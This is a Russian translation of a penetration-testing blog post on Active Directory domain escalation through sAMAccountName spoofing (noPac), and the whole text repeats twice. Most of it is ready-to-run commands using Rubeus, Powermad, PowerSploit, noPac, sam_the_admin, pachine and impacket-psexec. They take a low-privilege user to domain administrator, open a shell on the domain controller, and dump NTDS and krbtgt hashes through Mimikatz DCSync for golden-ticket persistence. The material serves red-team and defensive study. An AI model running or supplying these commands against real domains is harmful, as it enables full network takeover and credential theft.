Эскалация домена — спуфинг sAMAccountName
Учетные записи компьютеров имеют знак $, добавленный в конце их имен, в отличие от учетных записей стандартных пользователей. По умолчанию в операционных системах Microsoft отсутствуют элементы управления безопасностью и усиление защиты, которые могли бы предотвратить ряд атак. Кроме того, за годы было доказано, что то, как некоторые вещи работают в экосистеме Windows, может допускать злоупотребления за счет использования существующих функций и рабочих процессов.
В частности, каждая учетная запись в Active Directory имеет свое имя в атрибуте "sAMAccountName". Тем не менее, нет контроля для предотвращения произвольного использования, и поэтому любой пользователь, который имеет контроль над объектом (например, учетной записью компьютера), может изменить это значение. Цель этой модификации может привести к олицетворению других учетных записей в домене, таких как учетная запись компьютера контроллера домена. Чарли Кларк был первым, кто опубликовал подробные инструкции о том, как использовать эти уязвимости в качестве оружия.
Перед запросом сервисного билета сначала необходимо оформить билет на предоставление билетов (TGT). Когда билет службы запрашивается для учетной записи, которая не существует в Центре распространения ключей (KDC), Центр распространения ключей выполнит поиск, добавив знак $ к этой учетной записи. Сочетая такое поведение с отсутствием контроля над атрибутом "sAMAccountName", оператор RT может использовать это для эскалации домена. В частности, можно запросить билет на предоставление билета для учетной записи контроллера домена, и восстановление значения атрибута "sAMAccountName" перед любым запросом билета службы заставит KDC искать учетную запись компьютера контроллера домена и выдавать билет службы с повышенными правами от имени администратора домена.
Чтобы правильно использовать эту атаку для эскалации домена, пользователь должен иметь разрешения на учетную запись компьютера, чтобы иметь возможность изменять атрибуты "sAMAccountName" и "servicePrincipalName". Пользователи, которые могут создавать учетные записи компьютеров, имеют необходимые привилегии для изменения этих атрибутов. По умолчанию квота учетных записей компьютеров установлена на 10 для пользователей домена, что позволяет пользователям создавать учетные записи компьютеров в домене. В качестве альтернативы эта атака может быть проведена с точки зрения учетной записи, которая является владельцем учетной записи компьютера. Выполнение эскалации домена через олицетворение "sAMAccountName" состоит из следующих шагов:
1. Создайте учетную запись компьютера
2. Очистите атрибут "servicePrincipalName".
3. Измените атрибут "sAMAccountName" учетной записи компьютера, чтобы указать имя контроллера домена без знака $.
4. Запросите TGT для учетной записи контроллера домена.
5. Восстановите атрибут "sAMAccountName" до его исходного значения или любого другого значения.
6. Запросите сервисный билет методом S4U2self
7. Получите сервисный билет от имени учетной записи администратора домена.
На следующей диаграмме показаны этапы метода олицетворения "sAMAccountName".
Открытие уязвимости
Microsoft выпустила исправления, чтобы предотвратить успешную эксплуатацию. Однако во многих случаях исправления не применяются вовремя, что создает период времени, в течение которого этот метод можно использовать. Обязательными условиями техники являются следующие:
1. Контроллер домена, на котором отсутствуют исправления безопасности KB5008380 и KB5008602.
2. Действительная учетная запись пользователя домена
3. Квота учетной записи машины должна быть выше 0
Требуется доступ к внутренней сети, поэтому предполагается, что учетная запись с низким уровнем привилегий уже была скомпрометирована. Как упоминалось выше, квота учетной записи компьютера по умолчанию равна 10, и поэтому единственным требованием является определение того, были ли применены исправления. Это тривиально и может быть достигнуто путем запроса билета на предоставление билета без PAC для учетной записи пользователя домена и соблюдения размера билета base64 (меньше по сравнению с билетами, выданными с PAC). Rubeus можно использовать с ключом /nopac для запроса TGT для учетной записи домена, учетные данные которой известны.
Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap
Глядя на размер билета, можно понять, что контроллер домена уязвим, поскольку вместе с билетом не был выдан PAC.
В качестве альтернативы инструмент на C# noPac можно использовать для получения билетов TGT для всех доступных контроллеров домена в сети. Инструмент основан на Rubeus, поскольку он использует библиотеку "Rubeus.lib.Interop.LUID" для получения билетов. Размер билета может определить, выдал ли KDC билеты без PAC.
noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234
Если операции выполняются из консоли PowerShell, Shitsecure разработала сценарий PowerShell "Invoke-noPac" (https://gist.github.com/S3cur3Th1sSh1t/0ed2fb0b5ae485b68cbc50e89581baa6) , который встраивает сборку .NET noPac в base64. Поскольку инструмент на самом деле является noPac, те же аргументы могут использоваться для получения билетов.
Import-Module .\Invoke-noPAC.ps1
Invoke-noPAC -command "scan -domain purple.lab -user pentestlab -pass Password1234"
Мануал
Существуют различные инструменты и сценарии, которые могут автоматизировать эту технику как из домена, так и из систем, не присоединенных к домену. Однако, прежде чем погрузиться в автоматизацию, важно понять, как эту атаку можно выполнить вручную, используя существующий набор инструментов. Создание учетных записей компьютеров в активном каталоге не является чем-то новым для операций RT, поскольку его также можно использовать во время ограниченного делегирования на основе ресурсов (https://pentestlab.blog/2021/10/18/resource-based-constrained-delegation/). Кевин Робертсон (https://twitter.com/kevin_robertson) разработал модуль PowerShell под названием Powermad (https://github.com/Kevin-Robertson/Powermad), в котором есть функция, позволяющая создавать учетные записи компьютеров в домене.
New-MachineAccount -MachineAccount "PentestLab" -Domain "purple.lab" -DomainController "dc.purple.lab"
Удаление значения имени субъекта-службы из уже созданной учетной записи компьютера выполняется тривиально с помощью "Set-DomainObject" PowerSploit ( https://github.com/PowerShellMafia/PowerSploit) .
Set-DomainObject "CN=PentestLab,CN=Computers,DC=purple,DC=lab" -Clear "serviceprincipalname"
Изменение значения атрибута "sAMAccountName" для указания на имя хоста контроллера домена также может быть выполнено из Powermad и функции "SetMachineAccountAttribute", выполнив следующую команду:
Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "dc" -Attribute "samaccountname"
Глядя на атрибут в активном каталоге, видно, что значение новой учетной записи машины теперь указывает на "dc", поэтому эта учетная запись может олицетворять контроллер домена.
Проверка того, что атрибут "sAMAccountName" был изменен, может быть проведена путем запроса контроллера домена. Функция "GetDomainComputer" из PowerSploit может перечислять атрибуты учетной записи компьютера в домене.
Get-DomainComputer "CN=Pentestlab,CN=Computers,DC=purple,DC=lab" -Domain purple.lab -Server dc.purple.lab | select samaccountname
Rubeus (https://github.com/GhostPack/Rubeus) — это стандартный инструмент для операций, связанных с Kerberos. Поскольку имя учетной записи sam было изменено, билет на выдачу билетов можно запросить для учетной записи dc из контекста обычного пользователя.
.\Rubeus.exe asktgt /user:"dc" /password:"Password123" /domain:"purple.lab" /dc:"dc.purple.lab" /nowrap
Атрибуту имени учетной записи sam необходимо вернуть исходное значение или любое другое значение, иначе сервисный билет не будет выдан.
Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "PentestLab$" -Attribute samaccountname
Поскольку TGT уже хранится в памяти, сервисный билет можно запросить от имени администратора домена, используя расширение kerberos "S4U2self". Поскольку исходный билет принадлежит пользователю dc, которого теперь не существует, так как имя учетной записи sam было переименовано, Kerberos будет искать dc$, который является действительной учетной записью компьютера, и выдаст билет для запрошенной службы.
./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.purple.lab" /dc:"dc.purple.lab" /ptt /ticket:[Base64 TGT]
Из существующего сеанса можно запустить Mimikatz, чтобы сбросить хэш учетной записи "krbtgt", используя технику DCSync для создания золотого билета.
lsadump::dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt
Автоматизация
Этапы спуфинга sAMAccountName могут быть автоматически воспроизведены непосредственно из памяти с помощью noPac (https://github.com/cube0x0/noPac) , инструмента C#, разработанного Cube0x0( https://twitter.com/cube0x0). Выполнение приведенной ниже команды создаст учетную запись компьютера с указанным паролем и получит служебный билет для службы "cifs", который будет передан в память.
noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt
Следующая команда проверит эскалацию домена, поскольку обычный пользователь может перечислить содержимое папки C$ на контроллере домена.
dir \\dc.purple.lab\c$
Точно так же, если исходный имплант основан на PowerShell, можно использовать те же аргументы командной строки из сценария Invoke-noPac (https://gist.github.com/S3cur3Th1sSh1t/0ed2fb0b5ae485b68cbc50e89581baa6). Как уже упоминалось выше, на самом деле это оболочка инструмента noPac C#.
Invoke-noPac -command "-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt"
При доступе к папке C$ контроллера домена будет подтверждено, что билет службы, кэшированный в памяти, имеет повышенные права.
dir \\dc.purple.lab\c$
Non-Domain Joined
Те же самые принципы метода могут быть применены к системам, которые не присоединены к домену. Хоссам Хамед ( https://twitter.com/safe_buffer) выпустил скрипт на Python под названием sam the admin (https://github.com/WazeHell/sam-the-admin) , который имитирует атаку. Первоначально сценарий попытается перечислить атрибут "ms-DS-MachineAccountQuota", чтобы определить, можно ли добавить новый компьютер в домен. Затем будет создана учетная запись машины со случайным паролем. Атрибут "sAMAccountName" новой учетной записи компьютера будет изменен, чтобы содержать значение учетной записи компьютера контроллера домена. Будет запрошен билет с повышенными правами и сохранен в кэше. Наконец, исходное значение атрибута "sAMAccountName" будет восстановлено, и с использованием кэшированного билета будет установлен сеанс с контроллером домена с использованием "smbexec" из пакета Impacket.
python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -shell
Сценарий содержит и флаг, который можно использовать для дампа хэшей домена, поскольку в фоновом режиме используется "secretsdump".
python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -dump
Эти хэши можно использовать для взлома в автономном режиме, чтобы идентифицировать любые используемые слабые пароли и определить, является ли политика паролей клиента достаточной и соответствует отраслевым стандартам или требует дополнительной оценки. В качестве альтернативы, поскольку хэш учетной записи "krbtgt" виден , можно создать золотой билет для сохранения домена.
Аналогичный скрипт на Python был выпущен Оливером Ляком (https://twitter.com/ly4k_) , который можно использовать как для сканирования контроллеров домена для выявления уязвимых хостов, так и для получения билетов службы выдачи билетов.
python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'
Выполнение следующей команды на уязвимом контроллере домена создаст учетную запись компьютера со случайным паролем, чтобы получить билет на выдачу билетов. Затем имя учетной записи машины будет переименовано, и с помощью S4U2self билет службы будет извлечен и сохранен локально для пользователя-администратора, который принадлежит к группе "Администраторы домена".
python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'
Билет можно импортировать в кэш Kerberos, используя "export KRB5CCNAME" и путь, по которому был сохранен билет. Поскольку билет теперь импортируется из текущей консоли, Impacket "psexec" можно использовать с аутентификацией Kerberos, чтобы получить доступ к контроллеру домена.
export KRB5CCNAME=administrator@purple.lab.ccache
impacket-psexec -k -no-pass 'purple.lab/administrator@dc.purple.lab'
Реализация этой техники также возможна с помощью инструмента, основанного на скрипте python "sam the admin" под названием noPac. Сценарий сканера перечислит атрибут "ms-DS-MachineAccountQuota" и получит билеты на предоставление билетов со всех доступных контроллеров домена. Размер тикета также будет отображаться в консоли для быстрой идентификации уязвимых целей. В приведенном ниже примере два билета, полученные без PAC, относительно меньше по сравнению с хостом 10.0.0.1, который выдал билет с PAC.
python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1
Этот скрипт может выполняться с различными аргументами в зависимости от активности. Указание учетных данных пользователя домена и IP-адреса контроллера домена будет реализовывать атаку до тех пор, пока не будет получен билет с повышенными правами.
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1
Добавление флагов "-shell" и "-impersonate" установит сеанс на контроллере домена.
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator
Точно так же флаг "-dump" можно использовать для получения хэшей от пользователей домена из секретов NTDS.DIT. Поскольку доступ администратора домена уже был получен через билет Kerberos, получение хэша учетной записи "krbtgt" было бы следующим логическим шагом для установления постоянства на доменом.
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://pentestlab.blog/2022/01/10/domain-escalation-samaccountname-spoofing/
Учетные записи компьютеров имеют знак $, добавленный в конце их имен, в отличие от учетных записей стандартных пользователей. По умолчанию в операционных системах Microsoft отсутствуют элементы управления безопасностью и усиление защиты, которые могли бы предотвратить ряд атак. Кроме того, за годы было доказано, что то, как некоторые вещи работают в экосистеме Windows, может допускать злоупотребления за счет использования существующих функций и рабочих процессов.
В частности, каждая учетная запись в Active Directory имеет свое имя в атрибуте "sAMAccountName". Тем не менее, нет контроля для предотвращения произвольного использования, и поэтому любой пользователь, который имеет контроль над объектом (например, учетной записью компьютера), может изменить это значение. Цель этой модификации может привести к олицетворению других учетных записей в домене, таких как учетная запись компьютера контроллера домена. Чарли Кларк был первым, кто опубликовал подробные инструкции о том, как использовать эти уязвимости в качестве оружия.
Перед запросом сервисного билета сначала необходимо оформить билет на предоставление билетов (TGT). Когда билет службы запрашивается для учетной записи, которая не существует в Центре распространения ключей (KDC), Центр распространения ключей выполнит поиск, добавив знак $ к этой учетной записи. Сочетая такое поведение с отсутствием контроля над атрибутом "sAMAccountName", оператор RT может использовать это для эскалации домена. В частности, можно запросить билет на предоставление билета для учетной записи контроллера домена, и восстановление значения атрибута "sAMAccountName" перед любым запросом билета службы заставит KDC искать учетную запись компьютера контроллера домена и выдавать билет службы с повышенными правами от имени администратора домена.
Чтобы правильно использовать эту атаку для эскалации домена, пользователь должен иметь разрешения на учетную запись компьютера, чтобы иметь возможность изменять атрибуты "sAMAccountName" и "servicePrincipalName". Пользователи, которые могут создавать учетные записи компьютеров, имеют необходимые привилегии для изменения этих атрибутов. По умолчанию квота учетных записей компьютеров установлена на 10 для пользователей домена, что позволяет пользователям создавать учетные записи компьютеров в домене. В качестве альтернативы эта атака может быть проведена с точки зрения учетной записи, которая является владельцем учетной записи компьютера. Выполнение эскалации домена через олицетворение "sAMAccountName" состоит из следующих шагов:
1. Создайте учетную запись компьютера
2. Очистите атрибут "servicePrincipalName".
3. Измените атрибут "sAMAccountName" учетной записи компьютера, чтобы указать имя контроллера домена без знака $.
4. Запросите TGT для учетной записи контроллера домена.
5. Восстановите атрибут "sAMAccountName" до его исходного значения или любого другого значения.
6. Запросите сервисный билет методом S4U2self
7. Получите сервисный билет от имени учетной записи администратора домена.
На следующей диаграмме показаны этапы метода олицетворения "sAMAccountName".
Открытие уязвимости
Microsoft выпустила исправления, чтобы предотвратить успешную эксплуатацию. Однако во многих случаях исправления не применяются вовремя, что создает период времени, в течение которого этот метод можно использовать. Обязательными условиями техники являются следующие:
1. Контроллер домена, на котором отсутствуют исправления безопасности KB5008380 и KB5008602.
2. Действительная учетная запись пользователя домена
3. Квота учетной записи машины должна быть выше 0
Требуется доступ к внутренней сети, поэтому предполагается, что учетная запись с низким уровнем привилегий уже была скомпрометирована. Как упоминалось выше, квота учетной записи компьютера по умолчанию равна 10, и поэтому единственным требованием является определение того, были ли применены исправления. Это тривиально и может быть достигнуто путем запроса билета на предоставление билета без PAC для учетной записи пользователя домена и соблюдения размера билета base64 (меньше по сравнению с билетами, выданными с PAC). Rubeus можно использовать с ключом /nopac для запроса TGT для учетной записи домена, учетные данные которой известны.
Rubeus.exe asktgt /user:pentestlab /password:Password1234 /domain:purple.lab /dc:dc.purple.lab /nopac /nowrap
Глядя на размер билета, можно понять, что контроллер домена уязвим, поскольку вместе с билетом не был выдан PAC.
В качестве альтернативы инструмент на C# noPac можно использовать для получения билетов TGT для всех доступных контроллеров домена в сети. Инструмент основан на Rubeus, поскольку он использует библиотеку "Rubeus.lib.Interop.LUID" для получения билетов. Размер билета может определить, выдал ли KDC билеты без PAC.
noPAC.exe scan -domain purple.lab -user pentestlab -pass Password1234
Если операции выполняются из консоли PowerShell, Shitsecure разработала сценарий PowerShell "Invoke-noPac" (https://gist.github.com/S3cur3Th1sSh1t/0ed2fb0b5ae485b68cbc50e89581baa6) , который встраивает сборку .NET noPac в base64. Поскольку инструмент на самом деле является noPac, те же аргументы могут использоваться для получения билетов.
Import-Module .\Invoke-noPAC.ps1
Invoke-noPAC -command "scan -domain purple.lab -user pentestlab -pass Password1234"
Мануал
Существуют различные инструменты и сценарии, которые могут автоматизировать эту технику как из домена, так и из систем, не присоединенных к домену. Однако, прежде чем погрузиться в автоматизацию, важно понять, как эту атаку можно выполнить вручную, используя существующий набор инструментов. Создание учетных записей компьютеров в активном каталоге не является чем-то новым для операций RT, поскольку его также можно использовать во время ограниченного делегирования на основе ресурсов (https://pentestlab.blog/2021/10/18/resource-based-constrained-delegation/). Кевин Робертсон (https://twitter.com/kevin_robertson) разработал модуль PowerShell под названием Powermad (https://github.com/Kevin-Robertson/Powermad), в котором есть функция, позволяющая создавать учетные записи компьютеров в домене.
New-MachineAccount -MachineAccount "PentestLab" -Domain "purple.lab" -DomainController "dc.purple.lab"
Удаление значения имени субъекта-службы из уже созданной учетной записи компьютера выполняется тривиально с помощью "Set-DomainObject" PowerSploit ( https://github.com/PowerShellMafia/PowerSploit) .
Set-DomainObject "CN=PentestLab,CN=Computers,DC=purple,DC=lab" -Clear "serviceprincipalname"
Изменение значения атрибута "sAMAccountName" для указания на имя хоста контроллера домена также может быть выполнено из Powermad и функции "SetMachineAccountAttribute", выполнив следующую команду:
Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "dc" -Attribute "samaccountname"
Глядя на атрибут в активном каталоге, видно, что значение новой учетной записи машины теперь указывает на "dc", поэтому эта учетная запись может олицетворять контроллер домена.
Проверка того, что атрибут "sAMAccountName" был изменен, может быть проведена путем запроса контроллера домена. Функция "GetDomainComputer" из PowerSploit может перечислять атрибуты учетной записи компьютера в домене.
Get-DomainComputer "CN=Pentestlab,CN=Computers,DC=purple,DC=lab" -Domain purple.lab -Server dc.purple.lab | select samaccountname
Rubeus (https://github.com/GhostPack/Rubeus) — это стандартный инструмент для операций, связанных с Kerberos. Поскольку имя учетной записи sam было изменено, билет на выдачу билетов можно запросить для учетной записи dc из контекста обычного пользователя.
.\Rubeus.exe asktgt /user:"dc" /password:"Password123" /domain:"purple.lab" /dc:"dc.purple.lab" /nowrap
Атрибуту имени учетной записи sam необходимо вернуть исходное значение или любое другое значение, иначе сервисный билет не будет выдан.
Set-MachineAccountAttribute -MachineAccount "PentestLab" -Value "PentestLab$" -Attribute samaccountname
Поскольку TGT уже хранится в памяти, сервисный билет можно запросить от имени администратора домена, используя расширение kerberos "S4U2self". Поскольку исходный билет принадлежит пользователю dc, которого теперь не существует, так как имя учетной записи sam было переименовано, Kerberos будет искать dc$, который является действительной учетной записью компьютера, и выдаст билет для запрошенной службы.
./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.purple.lab" /dc:"dc.purple.lab" /ptt /ticket:[Base64 TGT]
Из существующего сеанса можно запустить Mimikatz, чтобы сбросить хэш учетной записи "krbtgt", используя технику DCSync для создания золотого билета.
lsadump::dcsync /domain:purple.lab /kdc:dc.purple.lab /user:krbtgt
Автоматизация
Этапы спуфинга sAMAccountName могут быть автоматически воспроизведены непосредственно из памяти с помощью noPac (https://github.com/cube0x0/noPac) , инструмента C#, разработанного Cube0x0( https://twitter.com/cube0x0). Выполнение приведенной ниже команды создаст учетную запись компьютера с указанным паролем и получит служебный билет для службы "cifs", который будет передан в память.
noPac.exe -domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt
Следующая команда проверит эскалацию домена, поскольку обычный пользователь может перечислить содержимое папки C$ на контроллере домена.
dir \\dc.purple.lab\c$
Точно так же, если исходный имплант основан на PowerShell, можно использовать те же аргументы командной строки из сценария Invoke-noPac (https://gist.github.com/S3cur3Th1sSh1t/0ed2fb0b5ae485b68cbc50e89581baa6). Как уже упоминалось выше, на самом деле это оболочка инструмента noPac C#.
Invoke-noPac -command "-domain purple.lab -user pentestlab -pass Password1234 /dc dc.purple.lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt"
При доступе к папке C$ контроллера домена будет подтверждено, что билет службы, кэшированный в памяти, имеет повышенные права.
dir \\dc.purple.lab\c$
Non-Domain Joined
Те же самые принципы метода могут быть применены к системам, которые не присоединены к домену. Хоссам Хамед ( https://twitter.com/safe_buffer) выпустил скрипт на Python под названием sam the admin (https://github.com/WazeHell/sam-the-admin) , который имитирует атаку. Первоначально сценарий попытается перечислить атрибут "ms-DS-MachineAccountQuota", чтобы определить, можно ли добавить новый компьютер в домен. Затем будет создана учетная запись машины со случайным паролем. Атрибут "sAMAccountName" новой учетной записи компьютера будет изменен, чтобы содержать значение учетной записи компьютера контроллера домена. Будет запрошен билет с повышенными правами и сохранен в кэше. Наконец, исходное значение атрибута "sAMAccountName" будет восстановлено, и с использованием кэшированного билета будет установлен сеанс с контроллером домена с использованием "smbexec" из пакета Impacket.
python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -shell
Сценарий содержит и флаг, который можно использовать для дампа хэшей домена, поскольку в фоновом режиме используется "secretsdump".
python3 sam_the_admin.py "purple/pentestlab:Password1234" -dc-ip 10.0.0.1 -dump
Эти хэши можно использовать для взлома в автономном режиме, чтобы идентифицировать любые используемые слабые пароли и определить, является ли политика паролей клиента достаточной и соответствует отраслевым стандартам или требует дополнительной оценки. В качестве альтернативы, поскольку хэш учетной записи "krbtgt" виден , можно создать золотой билет для сохранения домена.
Аналогичный скрипт на Python был выпущен Оливером Ляком (https://twitter.com/ly4k_) , который можно использовать как для сканирования контроллеров домена для выявления уязвимых хостов, так и для получения билетов службы выдачи билетов.
python3 pachine.py -dc-host dc.purple.lab -scan 'purple.lab/pentestlab:Password1234'
Выполнение следующей команды на уязвимом контроллере домена создаст учетную запись компьютера со случайным паролем, чтобы получить билет на выдачу билетов. Затем имя учетной записи машины будет переименовано, и с помощью S4U2self билет службы будет извлечен и сохранен локально для пользователя-администратора, который принадлежит к группе "Администраторы домена".
python3 pachine.py -dc-host dc.purple.lab -spn cifs/dc.purple.lab -impersonate administrator 'purple.lab/pentestlab:Password1234'
Билет можно импортировать в кэш Kerberos, используя "export KRB5CCNAME" и путь, по которому был сохранен билет. Поскольку билет теперь импортируется из текущей консоли, Impacket "psexec" можно использовать с аутентификацией Kerberos, чтобы получить доступ к контроллеру домена.
export KRB5CCNAME=administrator@purple.lab.ccache
impacket-psexec -k -no-pass 'purple.lab/administrator@dc.purple.lab'
Реализация этой техники также возможна с помощью инструмента, основанного на скрипте python "sam the admin" под названием noPac. Сценарий сканера перечислит атрибут "ms-DS-MachineAccountQuota" и получит билеты на предоставление билетов со всех доступных контроллеров домена. Размер тикета также будет отображаться в консоли для быстрой идентификации уязвимых целей. В приведенном ниже примере два билета, полученные без PAC, относительно меньше по сравнению с хостом 10.0.0.1, который выдал билет с PAC.
python3 scanner.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1
Этот скрипт может выполняться с различными аргументами в зависимости от активности. Указание учетных данных пользователя домена и IP-адреса контроллера домена будет реализовывать атаку до тех пор, пока не будет получен билет с повышенными правами.
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1
Добавление флагов "-shell" и "-impersonate" установит сеанс на контроллере домена.
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc -shell --impersonate administrator
Точно так же флаг "-dump" можно использовать для получения хэшей от пользователей домена из секретов NTDS.DIT. Поскольку доступ администратора домена уже был получен через билет Kerberos, получение хэша учетной записи "krbtgt" было бы следующим логическим шагом для установления постоянства на доменом.
python3 noPac.py purple.lab/pentestlab:'Password1234' -dc-ip 10.0.0.1 -dc-host dc --impersonate administrator -dump -just-dc-user purple/krbtgt
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://pentestlab.blog/2022/01/10/domain-escalation-samaccountname-spoofing/